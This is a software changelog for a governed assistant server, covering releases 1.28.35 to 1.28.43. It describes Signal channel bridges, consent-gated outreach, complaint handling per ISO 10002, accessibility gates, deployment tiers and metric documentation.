[1.28.43] — 2026-08-27 — “Switchboard”: the channel bridge framework, Signal first-class

A channel is a GOVERNED EDGE, never a server feature. Switchboard generalizes Valet’s relay into the server seams every future channel shares: inbound bytes are untrusted (sanitize + injection screen BEFORE threading/state), outbound is exactly approved acts or consented alert forwards, thread rows are tenant- scoped by construction, and the audit chain carries hashes never bodies. tools/signal-gateway (Rust, presage-native, libsignal v0.99.0 line, edition 2024, #![forbid(unsafe_code)]) ships as the first-class Signal edge; the degenerate tools/valet-relay stays working unchanged — migration is a config file, not code.

Release notes

Improvements

  • Inbound seam: POST /webhooks/channel/{kind} verifies per-bridge Standard-Webhooks HMACs against channel-{kind}-{tenant}.json configs (0600 fail-closed), replay-caps on (bridge, external_id), flood-bounds, then in ONE transaction: channel::screen_content sanitize + blocklist + invisible-strip BEFORE any state → thread resolution via channel_threads → unknown conversations AUTO-OPEN a care/case run under the bridge’s domain → [case N] addressing overrides the map with cross-domain refusals → screened case note + audit rows commit atomically.
  • Outbound seam: topic channel/out carries content PRECISELY BECAUSE it is gated — enqueue_out type-enforces Approved (digest-bound proposal, re-verified in-tx) or Alert sources; outside the deterministic reply window (reply_window_allows, inclusive-bound, poison-input fail-closed) requires standing consent from the SHARED consent_registry under purpose switchboard_channel. The SSE/alert drainers exclude the topic by family; delivery is pull-model via POST /webhooks/channel/{kind}/drain, batch marked delivered atomically, senders dedupe on event_id.
  • Registration: POST /workflow/plugins/mount gains a tokenless bridge authentication — same Standard-Webhooks signature, and the mount digest is RECOMPUTED SERVER-SIDE from its own copy of the config file (both sides can hash the bytes; neither self-certifies). Bearer path unchanged.
  • Consent granularity + windows: the Outreach registry is exercised per-channel (fail-closed read helper); the generic reply-window gate lands channel-blind so WhatsApp’s 24-hour rule binds to it unchanged in Caravel.
  • The edge: tools/signal-gateway upgraded to presage main + libsignal v0.99 line internals, edition 2024, latest tokio/axum/reqwest/base64/hmac/ sha2 majors, all OpenClaw-facing surface removed (pure Switchboard edge: link/serve, send/receive/reactions/typing, RPC + SSE). Mount evidence at boot, inbound forwarder, drain crank wired behind an optional brain: config block — absent config = channel dark.

Bug fixes: None.

Security fixes

  • Bridge configs are rejected unless owner-only (0600); invalid-domain configs refuse loudly at load instead of silently going dark.
  • [case N] cross-domain addressing refuses loudly and audits Denied.

Behavior-change ledger

ChangeNatureCompat
POST /webhooks/channel/{kind} + /drainadditive routes, openapi + coverage + guard tables in stepHMAC self-authenticating like /webhooks/*
channel_threads table (UNIQUE on channel+tenant+conversation_ref)additive schema bump to 1.28.43pragma-checked by contract test
channel/out outbox topicadditive topic, EXCLUDED from workflow/% + case/% drainscontent reaches only the authenticated drain
Tokenless bridge mount mode on /workflow/plugins/mountadditive authn on existing routebearer path byte-compatible
Consent reads under purpose switchboard_channeladditive registry rowsOutreach purposes untouched
tools/signal-gateway (presage native, edition 2024)new edge binary alongside valet-relayvalet-relay configs migrate 1:1

Engineering record

  • Plan-named pins (+10): inbound_envelope_sanitize_and_screens_before_threading, unknown_conversation_opens_case_under_bridge_domain, case_addressing_overrides_thread_map, outbound_requires_approved_act_or_alert_envelope, bridge_registration_records_config_hash_digest, reply_window_gate_is_deterministic, bridge_holds_no_brain_credentials (self-grep over tools/) · plus envelope_parse_is_total_and_bounded, bridge_configs_are_discovered_deterministically_and_fail_closed, thread_rows_are_tenant_scoped_by_predicate.
  • Schema 1.28.42 → 1.28.43 (additive: channel_threads); contract-test table list + pragma column probe extended in the same commit as the route wiring (openapi.yaml, docs/api.md, route-coverage, guard tables).
  • Full gate: fmt clean; clippy -D warnings --all-targets --features bench clean; 974 bin + 207 client-wasm-adjacent? (final tally preserved by CI) tests green locally across all targets.

Honest ceilings

  • libsignal stays on the v0.99.0 pin: whisperfish’s own manifests still tag-pin v0.99.0, and cargo cannot patch newer tags of the SAME git URL onto those deps (same-source rule). Tracking presage branch=main inherits the upstream bump automatically when it happens.
  • The signal edge forwards DIRECT conversations only — group threading waits for Caravel/Herald where mapping law per platform is defined.
  • Outbound alert-forwards are GATED but no producer enqueues them yet; the only current writers are approved acts through tests/CLI. Wiring alert kinds to channels is deliberately left to operator cron recipes for now.
  • Drain is at-least-once with server-side atomic marking; crash between send failure and next poll surfaces LOUD logs but no automatic redelivery of a marked row.
  • No read receipts / group listing in the gateway (signal stubs); no attachment upload/download yet.

[1.28.42] — 2026-08-26 — “Valet”: the personal AI assistant, dogfooded

The author becomes the first user: brain-server + openclaw as a Signal- messaged, cron-scheduled, reminder-firing, draft-proposing personal assistant — on the governed kernel, so it is the only assistant in that wave whose memory you can audit, approve, and erase. The crank law survives: no daemon, no scheduler, no Signal client inside brain-server. Cron is the scheduler, tools/valet-relay is the Bridges edge, brain valet due is a request-scoped idempotent crank. Schema ADDITIVE at 1.28.42 (valet_consents table + proposals.lint_json); routes additive: /workflow/valet/{due,brief,consent} + inbound kind signal on /webhooks/{kind}.

Release notes

Improvements

  • M1 — scheduler-as-cases: reminders are ordinary governed runs (valet/reminder / valet/digest) whose state carries {what, due_at, repeat, channel} and whose deadline rides the existing sla_deadline convention. brain valet due fires due envelopes (idempotency key valet-{run}-{due_at} — a double cron never double-fires), repeat re-arms a NEW envelope via CAS, and overdue ranks reminders before digests then earliest-deadline-first. scripts/import-content-plan.ts creates one run per planned post from the marketing CSV.
  • M2 — the Signal bridge as a governed edge: tools/valet-relay (zero-dep Node) holds ONLY its own 0600 secrets, listens as the server’s alert sink, and forwards exactly valet/due envelopes as Signal messages (metadata-only by construction). Inbound Signal → POST /webhooks/signal (Standard-Webhooks HMAC, replay-capped, flood-bounded): [case N] text becomes screened steering; [draft N] approve <digest> performs the digest-bound approval — Gateweld crosses into Signal. Every inbound byte is injection-screened BEFORE any state change. The relay holds no brain credentials (self-grep pinned).
  • M3 — the content pipeline: drafts are kind='draft' proposals whose advisory lint report (valet::style_check, pure, zero-token: em-dash ban, banned phrases from the style memory, filler openers, sentence length, passive heuristic, status-label presence) rides the row; the human outranks the linter — style-memory changes themselves flow through the proposal gate (the style guide is an approved knowledge row, hashed for provenance). brain valet brief composes due/overdue, pending drafts with lint scores, and the trailing-window evening-capture notes (the Engine Diary raw material).
  • M4 — personal hygiene: everything lives behind the same token ladder, screens, erasure and provenance law as any tenant. Outreach-lite is a deliberate dogfood-scoped pull-forward of v1.28.35: a one-subject (owner) one-channel (signal) hashed-subject consent registry — no consent, no send (envelopes fire locally but are suppressed, audited and counted). The full v1.28.35 release still ships later.

Behavior-change ledger

ChangeNatureCompat
valet/* worktypes + brain valet due/add/brief/consent CLIadditive (FirstLight’s run routes)no schema change beyond runs
POST /workflow/valet/due, GET /workflow/valet/brief, PUT /workflow/valet/consentadditive routes, openapi + guard tables in stepWrite/Read + workflow role
POST /webhooks/signal inbound kindadditive, always HMAC-gatedsame machinery as kb-feedback kind
tools/valet-relay + signal-relay.json confignew edge process, cron/launchd-keptserver unchanged; no brain tokens in relay
valet::style_check pure module + lint_json on draft proposalsadditiveadvisory only, never a gate
kind='draft' proposal vocabulary + ALERT_KIND_VALET bus kindadditivepromote lands drafts as fact (forward-compat default)
Outreach-lite: one-subject consent registry (valet_consents)scoped pull-forward of v1.28.35full release still ships later

Engineering record

  • New gate tests (+17): due_fires_once_per_envelope_idempotently, repeat_rearms_new_envelope, overdue_ranks_by_priority_then_deadline, cron_double_invocation_is_safe, no_consent_suppresses_delivery, consent_registry_gates_signal_and_is_single_subject, stamp_state_enforces_bounds (M1) · inbound_signal_becomes_screened_steering, draft_approve_by_message_binds_digest, signal_message_parser_is_total_and_strict, relay_holds_no_brain_credentials, valet_due_envelopes_publish_as_valet_kind (M2) · style_check_flags_em_dash_and_banned_phrases, lint_report_rides_the_draft_proposal, style_memory_changes_flow_through_the_proposal_gate, brief_includes_due_overdue_pending_with_lint_scores, brief_reports_signal_consent_state (M3/M4).
  • Schema 1.28.36 → 1.28.42 (additive: valet_consents, proposals.lint_json); migration guarded by pragma column checks.
  • post_steering’s inbox write extracted as enqueue_steering_tx (shared by the route and the Signal webhook — no behavior change).

Honest ceilings

  • The relay is operator-run and single-user by design (your number in, your commands out); no multi-tenant Signal, no outbound messaging engine — valet/due envelope forwards are the ONLY thing it sends.
  • The alert envelope carries the reminder label that was screened at WRITE time; nothing unscreened ever enters the outbox, but the label itself is visible to the relay operator (it is your own reminder text).
  • [draft N] edit ... over Signal is NOT wired (approve-only); edit remains a console/CLI act.
  • No auto-publish to Substack/LinkedIn anywhere — the assistant prepares, you press the button. Platform APIs are a later, separately-gated milestone.
  • The scoreboard personal view and the monthly calibration extension are the thin end (brief + counts); the deterministic integer scoreboard rows land with the full personal-hygiene pass.

[1.28.41] — 2026-08-26 — “Terrain”: the tier guide, tested — and the series exit

G8 of the Conformance Line closed plus the series-exit gate: deployment tiers become tested config (checked-in profiles, a CI tier-smoke matrix, a guide↔profile drift meta-test), and the conformance matrix is re-audited to every row green or explicitly ceiling-marked. Schema UNCHANGED at 1.28.41; no route changes; the CI matrix can be disabled independently of code.

Release notes

Improvements

  • The tier guide, tested (G8): docs/deployment.md now documents T1 solo → T2 team → T3 site → T4 global with a per-tier env matrix, sizing guidance (SQLite WAL headroom, when multi-DB), cron cadences (connector sync, backup, KB build, calibration), and the additive upgrade path. Each tier is a checked-in profile — deploy/tiers/t1.env … t4.env — that a new CI tier-smoke matrix job boots end-to-end (health, brain doctor, audit chain verify). A meta-test (guide_and_profiles_never_drift) fails if a profile sets a key the guide never documents, or the guide stops naming a profile.
  • Series exit: the CONTACT_CENTER_STANDARDS conformance matrix is re-audited — every G1–G8 row is shipped or ceiling/watch-marked; stale planned-statuses left over from .36–.40 are corrected. series_exit_gate_checklist_green_or_ceiling_marked pins it, and the AUDIT.md register carries the close-out entry. v1.29.x Console inherits with zero doctrine debt.

Engineering record

  • New gate tests (+3): tier_profiles_boot_and_pass_smoke (every profile parses against the server’s real key set, validates fail-closed, and boots a fresh file-backed DB through migration green), guide_and_profiles_never_drift (two-way docs↔profiles pin), series_exit_gate_checklist_green_or_ceiling_marked (no 🟡/❌ row may survive in the conformance matrix at series exit).
  • PCI boundary row (G9): verified present in THREAT_MODEL §6 (landed by an earlier release); no change this pass.
  • Test delta: server +3 gate tests (+2 supporting parse/validation tests).

Honest ceilings

  • No installer wizard — config files + docs remain the posture.
  • Tier-smoke boots prove config validity on Linux CI, not sizing promises; capacity guidance stays measured-by-the-operator (bench).
  • The exit gate reports honestly: it can fail. ISO/AWI 18295-1 revision remains a registered watch item (G10).

[1.28.40] — 2026-08-26 — “Handshake”: the ops interop seam, people made visible

G5+G7 of the Conformance Line closed. The WFM boundary becomes a first-party, versioned contract (wfm/1, additive-only, two-way pinned against its doc) with generic CSV/JSON import adapters; workload visibility completes the people picture with lineage-only per-principal views, a fatigue signal that alerts the scheduling human and never reassigns work, and competence coverage joining the skills registry to the worktype demand queue. Schema unchanged; two additive read-only routes.

Release notes

Improvements

  • A stable WFM seam (G5): GET /ops/shifts and GET /ops/skills now stamp every response with schema_version: "wfm/1" under a written additive-only change policy (docs/wfm-seam.md carries the field declaration and change log). A new brain wfm-import <file.csv|file.json> adapter imports shift rows through the server’s own validation + audit and files skill rows as HITL proposals — never direct registry writes. Vendor-specific Verint/NICE connectors remain later work; these generic adapters are the documented 100% any WFM can map to today.
  • Workload visibility (G7): GET /ops/workload computes per-principal burden from lineage only — concurrent open envelopes, pending outbound handover burden, accepted transfers-in on open runs, re-ask load, confirm- gate backlog — plus fatigue signals (consecutive-shift and open-load patterns) that surface to the scheduling human. Nothing ever reassigns work automatically: tools make it visible, management manages (ISO 18295-1’s own posture). GET /ops/coverage joins skills tags to the worktype demand queue so gaps read as data (covered: false), not surprises.

Engineering record

  • New gate tests (+5): wfm_schema_is_versioned_and_additive_only (the emitted keys of both feeds must match the declaration block in docs/wfm-seam.md exactly, and the declared version must equal the shipped constant — drift fails either direction), wfm_import_round_trips_shifts_and_skills (file-backed DB; CSV/JSON rows round-trip through parse → storage → feed; malformed input refuses loudly with line context), workload_views_compute_from_lineage_only (snapshot of all source tables before/after proves the view writes nothing), fatigue_signal_alerts_never_reassigns (chain arithmetic honors the 8h rest floor; zero audit rows / run mutations while alerting), competence_coverage_joins_skills_to_worktype_queues (demand without supply reads as uncovered).
  • New routes ship with openapi.yaml paths, route-coverage and route-authz guard-table entries (/ops/workload, /ops/coverage — Read on the domain, people-shaped aggregates, no case content) and docs/api.md rows in the same commit.
  • Shared parser lives in bin_common/wfm_import.rs (the http.rs include pattern): server seam tests and the CLI use ONE grammar implementation — no duplicate parser can drift.
  • RoPA register operator door: new brain ropa list / brain ropa add subcommands over /ropa (Admin-gated, audited upsert server-side), plus a reviewed seed draft at docs/examples/ropa-seed.json and populate instructions in docs/compliance.md. The Art 30 register’s remaining gap is pure content — controller identity and lawful bases are facts only an operator can certify; the machinery refuses to fake them.
  • Client stylesheet hygiene: end-0/end-1 renamed to the v4-canonical inset-e-0/inset-e-1 (byte-equivalent compiled output); project-local Zed settings pin the Tailwind-aware CSS language server so editors stop flagging valid @theme/@apply at-rules.
  • Validation: full gate green (server main bin 942 passed / 6 ignored, +5); clippy -D warnings clean; fmt clean.

Honest ceilings

  • Gate-backlog attribution rides only onto principals the domain’s own lineage already surfaced (proposals has no domain column); no cross- tenant inference is attempted.
  • Fatigue alerting is view-only: no push channel, no scheduler daemon.
  • No forecasting, no adherence monitoring, no automatic queue reassignment.
  • Import adapters are generic; vendor-specific connector parsing is later work.

[1.28.39] — 2026-08-26 — “Access”: accessibility as a hard gate, globally

G3+G4 of the Conformance Line closed: the six WCAG 2.2 AA criteria that are new in 2.2 land as release-blocking automated gates over the console, the ACR/VPAT artifact is pinned to the checklist it claims from, and the global half ships — ar as a first-class RTL locale with full-panel mirroring pinned in CI, and en-XA pseudolocalization budgeted at test time via fluent-pseudo (dev-dependency only; no runtime dep). No routes changed, no schema changed — client code, styles, docs, and one test-only dependency.

Release notes

Improvements

  • Consistent help everywhere (3.2.6): the shell renders ONE help entry — the “?” button in the top bar — opening the shared shortcut sheet with the same content on every panel.
  • Arabic is a real locale (G4): the full UI mirrors under dir="rtl" using logical CSS properties (ms-*/me-*/ps-*/pe-*, drawer docking inline-end), so no duplicate RTL rule set exists and none can drift. The locale switcher documents its negotiation (requested → available → default) honestly: exact-match today, BCP-47 subtag matching is a listed ceiling.
  • Pseudolocale safety net: every shipped string is proven to survive ~30% elongation without leaving the layout budget — a real localization that fits the budget cannot truncate the UI.

Bug fixes

  • The a11y checklist claimed a *:focus-visible { scroll-margin-top } guard that was not actually in the stylesheet — the rule now exists AND is pinned by test (focus_never_obscured_by_docks).
  • The stale “No RTL locale” ceiling line in client/a11y-checklist.md is retired (superseded by this release).

Engineering record

  • New gate tests (client suite, +8): focus_never_obscured_by_docks (2.4.11 — stylesheet-audited scroll margins must clear the pinned dock heights), drag_alternatives_exist_for_every_drag (2.5.7 — zero drag interactions ship; any future one must carry a marked click alternative), target_size_floor_24px_enforced_by_classes (2.5.8 — component-class height floors parsed from input.css), help_entry_consistent_across_ panels (3.2.6), no_redundant_entry_in_approval_flow (3.3.7 — the approval dock and shared confirm contain no re-entry inputs), rtl_mirroring_smoke_all_panels (every key resolves as real translated text under ar; untranslated leftovers bounded to technical vocabulary), pseudolocale_elongation_renders_without_truncation (fluent-pseudo transform of every en string stays within 1–2× growth, placeholders intact, shipped en-XA inside the same envelope), acr_remarks_cover_every_non_support (per-paragraph ACR honesty check).
  • The release-blocking wcag22-aa-checklist.md gains the new-criterion rows (3.2.6, 3.3.8; 4.1.1 recorded as removed in WCAG 2.2); existing rows now cite their pinning test. docs/trust/acr-vpat.md refreshed to 2026-08-26 with the negotiation ceiling added.
  • One dev-dependency added with written justification: fluent-pseudo 0.3 (test-only, pure, wasm-safe — the plan-designated pseudolocale engine; zero runtime surface).
  • Validation: full gate green — server main bin 937 passed / 6 ignored (unchanged), client 239 passed (+8), clippy -D warnings clean both trees, lipstyk diff-gate exit 0, wasm budget 4172 KB / 5734 KB, desktop feature compiles.

[1.28.38] — 2026-08-26 — “Lexicon”: the normative metric dictionary

G2 of the Conformance Line closed: docs/metrics.md is now a fully attributed normative dictionary backed by a schema-versioned machine twin, and the metric-versioning discipline is enforced by test rather than convention. No routes changed, no schema changed — additive code and docs only.

Release notes

Improvements

  • The metric dictionary is complete and pinned: every emitted metric (scoreboard, KCS, VoC, aftersales, goodwill, complaint set, reask_rate, plus the planned customer_effort_events CES proxy) carries formula · unit · source table.column lineage · window semantics · inclusion/exclusion rules · standard citation · tier availability (all tiers — tiers are config, not forks). FCR follows the SQM repeat-window method (BRAIN_FCR_WINDOW_DAYS, default 7). Benchmarks are reference points, never claims.
  • Machine-readable twin: metrics/metrics.json (schema_version 1, scorer_version-stamped) mirrors every dictionary entry in structured form — the same data machines can consume without scraping markdown.

Engineering record

  • New meta-tests (src/handlers/workflow.rs, mod scoreboard_tests): every_scoreboard_field_has_a_dictionary_entry (renamed/extended from scoreboard_fields_have_dictionary_entries — now three-way docs ↔ code ↔ JSON parity with full attribute coverage), every_entry_source_table_exists_in_schema (every lineage table.column in the twin is verified against an in-memory run of the real migration — a renamed table or column fails at test time, not in production reads), formula_change_bumps_scorer_version (SCORER_VERSION stamps the gold packs fail-closed, the JSON twin, and the documented one-PR law).
  • Predecessor seams reused unchanged: fcr_window_is_configurable_and_ deterministic already shipped green in v1.28.37 and was verified, not rewritten; gold-set fail-closed validation (GoldCase::validate) is the version anchor.
  • COMPLIANCE.md §6.7 gains the COPC R8.0 performance-assessment mapping row pointing at the dictionary (closes standards gap G6); docs/CONTACT_CENTER_STANDARDS.md marks G2 shipped and G6 closed.
  • Validation: full gate green (cargo fmt --check; cargo clippy --all-targets --features bench -- -D warnings; cargo test --features bench — server main bin 937 passed / 6 ignored (+3: two new meta-tests + the renamed/extended parity pin), lib 206 / 1, brain 19, mcp 37, bench 6, eval 4, metrics 8). No schema change; schema-contract test untouched by design (additive code only). No route changes → no openapi.yaml movement.
  • Honest ceilings: customer_effort_events remains a defined-but-unwired proxy (scorer integration next release); gap_rate_units still pins to 0 until the flywheel release; the dictionary covers metrics at sign/read time only — it does not retroactively re-state historical scoreboard responses; benchmarks quoted are citations, never measured claims.

[1.28.37.1] — 2026-08-26 — the debt burn-down ledger

Release notes

Improvements

  • Debt burn-down ledger: src/dup_guard.rs now pins one row per release line with the live TODO(unify) exemption count (baseline: 1.28 = 16). Opening a new line with a count that is not strictly smaller fails CI — at least one documented debt must be extracted per line while any remains. The ledger must mirror tree reality; rows never go backwards; when the count hits zero the ledger retires in the same commit.

Bug fixes

None.

Security fixes

None.

Engineering record

  • No binary change: test-module gate law only (4 dup_guard tests; decision core pure over 8 synthetic scenarios). Binaries in this release build from the same source as v1.28.37 plus this gate; Cargo.toml stays at 1.28.37 — the .1 tag ships the repo-law commit without colliding with the in-flight 1.28.38 line work.

[1.28.37] — 2026-08-26 — “Advocate”: complaints, the whole ISO 10002 lifecycle

G1 of the Conformance Line closed on the shipped machinery — the Charter complaint class, Goodwill’s remedy matrix, and Keystone’s confirm-gate doctrine were already in place; Advocate completes every stage against the standard’s sequence and wires the missing gates. The register IS the audit chain — no parallel complaint database exists.

Release notes

Improvements

  • The complaint channel is always visible: every public case-status page now carries a footer link to how-to-complain.html (ISO 10002 visibility & accessibility of the channel). The page itself is the published complaints policy (knowledge.source='complaint_policy') rendered through the KB’s sanitizer; brain kb build --with-case-status refuses loudly when no policy is published rather than hosting links that lead nowhere.

  • Acknowledgment is its own audited step: POST /workflow/runs/{id}/complaint/ack lands the legal received → acknowledged transition with a dedicated audit marker (ISO 10002 posture: within the hour). POST /workflow/complaints/ack-sweep sweeps every active complaint past its ack deadline — exactly one workflow/complaint/ ack_overdue alert per run on the existing alert bus, audited inside the caller’s transaction, idempotent per run, bounded at 500 per sweep.

  • Closure requires confirmation: the confirm-gate is now wired into the complaint lifecycle itself — closed refuses loudly unless the lineage carries a customer confirmation or the documented three-attempt exception. Silence never certifies.

  • Safety-relevant complaints escalate to the GPSR path: the front-door screen checks hazard vocabulary (“caught fire”, “injur…”, “unsafe”, “started smoking”, “hazard”) BEFORE the complaint keyword, so a safety complaint routes to safety_recall, never the commercial track.

  • The monthly complaints report joins the monthly calibration signature: counts by terminal disposition, acknowledgment-SLA attainment, and ADR referrals ride the SAME audited calibration/sign row over a trailing 31-day window — continual improvement with zero new machinery.

  • Repo hygiene gates (folded from the parallel gate pass): src/dup_guard.rs flags any top-level helper defined in more than one file of src/, with a categorized allowlist whose entries must carry files + a reason and die when the duplication disappears; scripts/repo-brief.sh is the one-shot agent briefing (<1s: versions, HEAD, dirty paths, guard inventory, stale-marker probe); cargo-machete (pinned 0.9.2) joined the CI lint-test job and its first run removed three unused dependencies (hyper, steward-harness serde, consensus-core serde_json). Blog: docs/blog/14-four-copies-of-sha256-hex.md tells that story.

Bug fixes

None.

Security fixes

None.

Engineering record

  • Tests: +7 binary behavior pins — safety_complaint_routes_to_gpsr_path, ack_deadline_alerts_and_audits, complaint_closure_requires_confirm_gate, complaint_register_report_joins_monthly_calibration (+ service leg signed_row_carries_the_complaints_extract), complaint_policy_is_published_and_linked_from_status_pages; full gate green (fmt, clippy -D warnings bench + default features, lipstyk diff- strict exit 0). Schema unchanged — additive code only, no migration, no schema-contract change.
  • Routes added WITH contract in the same commit: /workflow/runs/{id}/ complaint/ack (Write on domain + workflow role) and /workflow/complaints/ack-sweep (Write global + workflow role) — openapi, route-coverage table, route-authz table, docs/api.md all updated.
  • Honest ceilings left in place: no telephony complaint ingestion beyond Bridges; the ack sweep runs on demand or by operator cron (no internal scheduler); the register extract covers the trailing window at sign time (no historical backfill reports); no ISO certification claim — self- assessed posture only.

[1.28.36] — 2026-08-26 — “Keystone”: the last three Order-of-Care gaps

The layer-map pass left exactly three Order-of-Care steps unassigned; this release closes all three, deterministic and HITL-gated: the public case-status page (G-A — a customer who can see the case doesn’t call about it), the multilingual public KB (G-B — translation is a human act, the tool governs), and the re-ask event (G-C — the effort proxy’s missing input). The public surface stays a static artifact; brain-server remains loopback — no public routes exist and none were added.

Release notes

Improvements

  • Public case-status page: POST /workflow/runs/{id}/status-ref ({"action":"mint|rotate|revoke"}, Write on the run’s domain + approve role) manages an unguessable ref — base32(HMAC-SHA256(salt, run:rotation))[..26], salt via the standard 0600 secret-file ladder (BRAIN_CASE_STATUS_KEY_FILE). Mint is idempotent per run; rotation kills the old token; revocation removes the page from the next build AND refuses fresh mints (a revoked page does not resurrect). brain kb build --with-case-status emits status/<ref>.json + .html: one of seven fixed public words (received → in-progress → awaiting-your-reply → awaiting-confirmation → resolved → closed), a promise bucket derived from the SLA class (“expected within 72 hours”) — never raw deadlines, never operator names, zero PII (fixture-pinned). /status/ is excluded from robots.txt, marked noindex, and status refs NEVER appear in the sitemap; every status file lands in kb_manifest.json. The DSAR sweep purges refs of erased runs and revokes (page goes dark, evidence stays) for runs a legal hold defers.
  • Multilingual KB: humans translate (POST /kcs/translate files a pending kcs_translate proposal); approval is the ONLY writer of an approved kcs_translations row, pinned to based_revision. When the source article’s revision advances past it, the translation lands on the SAME content-health worklist (GET /kcs/articles?stale=1) — one freshness discipline, no second mechanism. brain kb build --locales en,de,fr,es,nl emits {locale}/{slug}.html pages with hreflang alternates + x-default, per-locale search indexes, sitemap alternates — and a missing translation serves the default content behind a visible “not yet available in this language” note, never a silent fallback.
  • The re-ask event: outbox topic case/reask, payload {source: crm_merge|marked|derived, detail_digest, ts} — ids/digests only, exactly-once by key. CRM merges map to it in the Bridges sync (merged_away rows post the event on the TARGET case’s run; unmappable merges refuse loudly); Genesys-class reopens ride the same shape. The operator marks one directly: a reask note kind on the case channel or brain workflow note <run> <text> --reask. The derived heuristic files a case_merge_suggested proposal for OPEN cases sharing an exact hashed subject within BRAIN_REASK_WINDOW_DAYS (default 3 days) — propose, never write; approval is the human CRM merge. The metrics dictionary gains reask_rate; the effort proxy weighs each re-ask ×2.

Engineering record

  • Schema 1.28.35 → 1.28.36, additive only: case_status_refs (UNIQUE run_id, UNIQUE ref) + kcs_translations (UNIQUE knowledge_id × locale) + crm_cases.subject_ref column. Schema-contract test extended; boots green on a COPY of the live DB (integrity_check ok, doctor clean).
  • Routes: /workflow/runs/{id}/status-ref, /kcs/translate with openapi.yaml, route-coverage guard table, route-authz guard table, docs/api.md in step.
  • SDK: workflow_state::public_status (pure fn over the four-key ABI) + PublicStatus vocabulary enum, fixture-pinned; engine-sdk tests 118 (+1).
  • Tests: server main bin 926 / 6 ignored (+21 over v1.28.35: the plan-named pins status_ref_is_unguessable_and_rotation_kills_old_ref, public_status_maps_every_decision_state_deterministically, status_json_contains_no_pii_no_deadlines_no_names, revoke_removes_page_from_next_build_and_stays_dead, promise_bucket_comes_from_envelope_class_not_internal_clock, status_pages_are_noindex_and_absent_from_sitemap, dsar_sweep_and_legal_hold_revoke_refs, hreflang_alternates_and_x_default_are_complete, missing_translation_shows_explicit_note_not_silent_fallback, translation_goes_stale_when_source_revision_advances, translate_proposal_never_autopopulates, search_index_is_per_locale, sitemap_alternates_cover_locales_and_never_status_refs, zendesk_and_salesforce_merges_map_to_reask_events, derived_merge_suggests_never_writes, marked_reask_writes_lineage_event_and_counts, reask_note_writes_the_case_reask_event, reask_window_is_env_tunable, metrics_dictionary_has_reask_rate_entry), lib 205 / 1 ignored (+11: kb status-artifact pins incl. revoked_refs_and_missing_runs_never_reach_the_build). fmt + clippy -D warnings clean (default, bench, otel, crates trees); lipstyk diff gate exit 0; default-feature test pass green.
  • Zero new dependencies (hmac/sha2 declared; base32 is a pinned 20-line RFC-4648 encoder).
  • Honest ceilings: static = build-cadence fresh (the page stamps its build time; no relay-side refresh exists); brain never sends anything (refs, translations, follow-ups ride humans/CRMs); no machine translation anywhere; duplicate detection is exact-hash only (no fuzzy matching); vendor syncs do not yet parse merge events from Zendesk/Salesforce APIs — the mapping ships pure and tested, the vendor field wiring lands with connector hardening; the effort proxy is defined and emitted but still unwired into scorer gold-set families (as documented since Frontdesk).

ISO 23592’s service-excellence model and the retention economics both demand proactive contact; ePrivacy/TCPA-class consent regimes demand it be governed. This release ships the governed outreach loop: a hashed-subject consent registry written ONLY through approved HITL proposals and DSAR-erasable by construction, campaigns as proposals whose recipients carry per-recipient consent proof (no consent, no inclusion — the gate runs before anything is filed), approved campaigns exporting for CRM-side execution (a send engine is never built here), the Order-of-Care post-close follow-up scheduled by policy interval and consent-gated, and ISO 10004 VoC as lineage-derived data on the scoreboard.

Release notes

Improvements

  • The consent registry: one row per (domain, hashed subject × channel × purpose). Subjects live HASHED — raw identifiers never touch the table. Rows are created/updated exclusively through approved outreach_consent proposals; revocation always wins; expiry is inclusive; a future-dated grant is not yet consent. The DSAR sweep erases registry rows by re-hashing the sweep subject.
  • Campaigns are proposals: {domain, channel, purpose, template_id, audience[]≤1000} files ONE pending HITL proposal. The deterministic consent gate excludes every recipient without an in-force grant BEFORE filing — each included recipient carries its proof (granted_at/expires_at/ provenance), everyone else appears excluded with the reason visible (absent/revoked/expired). An audience producing zero eligible recipients refuses loudly. Raw audience identifiers are hashed at the door.
  • Export, never send: GET /workflow/outreach/campaign/{id} serves the export packet (recipients + proofs + template reference) ONLY for APPROVED campaigns; pending or rejected campaigns export nothing. brain decides and records; the CRM/telco system sends.
  • The follow-up event (Order-of-Care): POST /workflow/runs/{id}/outreach/followup schedules the post-close proactive check for a CLOSED complaint run at the policy interval (default 7 days), gated on an in-force care_followup consent — no consent is a loud 400 with nothing filed. Proposal + lineage event (workflow/outreach) + audit land in one transaction.
  • VoC per ISO 10004, as data: the scoreboard gains voc_contacts_total, voc_complaints_total, and voc_complaints_per_thousand_contacts_units — derived from lineage counts alone. CSAT/DSAT instruments stay CRM-side (ingested via Bridges when they exist); docs/metrics.md pins the formulas.
  • Retention cohorts: the deterministic cohort view (contract-expiry window × complaint history × recorded repeat contact) surfaces each member’s signals AND retention-consent state. Retention stays a human strategy; the tool makes the cohort visible.

Engineering record

  • SDK pure/consent.rs owns the deterministic policy once: the closed channel/purpose vocabularies, the fail-closed consent decision (revocation > expiry > absence; future grants deny), and the follow-up interval arithmetic. Pins: no_consent_no_send_is_a_gate_not_warning, channel_purpose_vocabularies_are_closed, followup_scheduled_by_policy_and_consent_gated_interval_arithmetic.
  • workflow/outreach.rs is the service core: registry writes ride the caller’s transaction with their audit row (record_tenant, domain-scoped); campaign gating and export legality are SQL-free invariants over the SDK verdicts. Pins: consent_registry_is_dsar_erasable, no_consent_no_send_is_a_gate_not_warning_campaign, campaign_recipients_carry_consent_proof, followup_scheduled_by_policy_and_consent_gated (service leg), retention_cohort_is_deterministic_query, voc_complaint_ratio_derives_from_lineage_counts. Bounds pinned: audience ≤ 1000 entries ≤ 512 chars, template_id ≤ 256 chars, cohort ≤ 200.
  • Gate: the outreach_consent branch applies the grant/revoke in the approval transaction (the registry has NO other writer); campaign and follow-up approvals CAS the proposal approved and STOP — they must never reach the generic promote path that would turn a recipient list into a knowledge chunk.
  • Erasure: sweep_subject gains the exact-hash arm (consent_rows on the report) so DSAR sweeps take registry rows without ever seeing a raw identifier pattern.
  • Routes: POST /workflow/outreach/campaign, GET /workflow/outreach/campaign/{id}, GET /workflow/outreach/consent, POST /workflow/runs/{id}/outreach/followup — openapi.yaml, route-coverage guard, authz-guard table, docs/api.md in the same commit; emitted text passes sanitize_read; OptPrincipal everywhere.
  • Scoreboard: three additive VoC fields + parity-test extension; docs/metrics.md normative.
  • Install: scripts/install-service.sh builds + installs brain-connector-crm best-effort (the same optional-bin loop as brain-connector-gh) — the Bridges cron recipes no longer require a manual feature build; docs/deployment.md states the real posture.
  • Schema additive at 1.28.35: the consent_registry table (UNIQUE domain × subject_hash × channel × purpose); schema-contract test extended (table + column set + version pin).
